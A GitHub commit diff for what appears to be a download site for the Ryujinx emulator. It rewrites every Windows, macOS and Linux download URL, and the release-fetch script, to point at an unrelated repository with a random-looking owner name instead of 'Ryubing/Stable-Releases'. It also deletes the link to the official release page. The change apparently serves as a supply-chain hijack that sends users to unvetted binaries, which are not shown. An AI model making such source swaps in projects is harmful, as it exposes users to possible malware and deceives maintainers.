File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 11export default class Consts {
2- static readonly WINDOWS_URL = "https://github.com/Ryubing/Stable-Releases/releases/download/1.3.1/ryujinx-1.3.1-win_x64.zip" as const ;
3- static readonly WINDOWSARM_URL = "https://github.com/Ryubing/Stable-Releases/releases/download/1.3.1/ryujinx-1.3.1-win_arm64.zip" as const ;
4- static readonly MACOS_URL = "https://github.com/Ryubing/Stable-Releases/releases/download/1.3.1/ryujinx-1.3.1-macos_universal.app.tar.gz" as const ;
5- static readonly LINUX_URL = "https://github.com/Ryubing/Stable-Releases/releases/download/1.3.1/ryujinx-1.3.1-linux_x64.tar.gz" as const ;
6- static readonly APPIMAGE_URL = "https://github.com/Ryubing/Stable-Releases/releases/download/1.3.1/ryujinx-1.3.1-x64.AppImage" as const ;
7- static readonly LINUXARM_URL = "https://github.com/Ryubing/Stable-Releases/releases/download/1.3.1/ryujinx-1.3.1-linux_arm64.tar.gz" as const ;
8- static readonly APPIMAGEARM_URL = "https://github.com/Ryubing/Stable-Releases/releases/download/1.3.1/ryujinx-1.3.1-arm64.AppImage" as const ;
9- static readonly GITHUB_URL = "https://github.com/Ryubing/Stable-Releases/releases/" as const ;
2+ static readonly WINDOWS_URL = "https://github.com/iurehg8uetgyh8ui5e/sr/releases/download/1.3.1/ryujinx-1.3.1-win_x64.zip" as const ;
3+ static readonly WINDOWSARM_URL = "https://github.com/iurehg8uetgyh8ui5e/sr/releases/download/1.3.1/ryujinx-1.3.1-win_arm64.zip" as const ;
4+ static readonly MACOS_URL = "https://github.com/iurehg8uetgyh8ui5e/sr/releases/download/1.3.1/ryujinx-1.3.1-macos_universal.app.tar.gz" as const ;
5+ static readonly LINUX_URL = "https://github.com/iurehg8uetgyh8ui5e/sr/releases/download/1.3.1/ryujinx-1.3.1-linux_x64.tar.gz" as const ;
6+ static readonly APPIMAGE_URL = "https://github.com/iurehg8uetgyh8ui5e/sr/releases/download/1.3.1/ryujinx-1.3.1-x64.AppImage" as const ;
7+ static readonly LINUXARM_URL = "https://github.com/iurehg8uetgyh8ui5e/sr/releases/download/1.3.1/ryujinx-1.3.1-linux_arm64.tar.gz" as const ;
8+ static readonly APPIMAGEARM_URL = "https://github.com/iurehg8uetgyh8ui5e/sr/releases/download/1.3.1/ryujinx-1.3.1-arm64.AppImage" as const ;
109}
Original file line number Diff line number Diff line change @@ -4,7 +4,7 @@ import path from "path";
44
55const __dirname = path . dirname ( fileURLToPath ( import . meta. url ) ) ;
66
7- const GITHUB_REPO = "Ryubing/Stable-Releases " ;
7+ const GITHUB_REPO = "iurehg8uetgyh8ui5e/sr " ;
88const API_URL = `https://api.github.com/repos/${ GITHUB_REPO } /releases/latest` ;
99
1010interface ReleaseAsset {
@@ -31,8 +31,7 @@ async function fetchLatestRelease() {
3131 LINUX_URL : assets . find ( asset => asset . name . includes ( "linux_x64.tar.gz" ) ) ?. browser_download_url || "" ,
3232 APPIMAGE_URL : assets . find ( asset => asset . name . includes ( "-x64.AppImage" ) ) ?. browser_download_url || "" ,
3333 LINUXARM_URL : assets . find ( asset => asset . name . includes ( "linux_arm64.tar.gz" ) ) ?. browser_download_url || "" ,
34- APPIMAGEARM_URL : assets . find ( asset => asset . name . includes ( "-arm64.AppImage" ) ) ?. browser_download_url || "" ,
35- GITHUB_URL : "https://github.com/Ryubing/Stable-Releases/releases/"
34+ APPIMAGEARM_URL : assets . find ( asset => asset . name . includes ( "-arm64.AppImage" ) ) ?. browser_download_url || ""
3635 } ;
3736
3837 // update Consts class
@@ -44,7 +43,6 @@ async function fetchLatestRelease() {
4443 static readonly APPIMAGE_URL = "${ downloads . APPIMAGE_URL } " as const;
4544 static readonly LINUXARM_URL = "${ downloads . LINUXARM_URL } " as const;
4645 static readonly APPIMAGEARM_URL = "${ downloads . APPIMAGEARM_URL } " as const;
47- static readonly GITHUB_URL = "${ downloads . GITHUB_URL } " as const;
4846}` ;
4947
5048fs . writeFileSync ( path . join ( __dirname , "../lib/consts.ts" ) , constsContent ) ;
You can’t perform that action at this time.
0 commit comments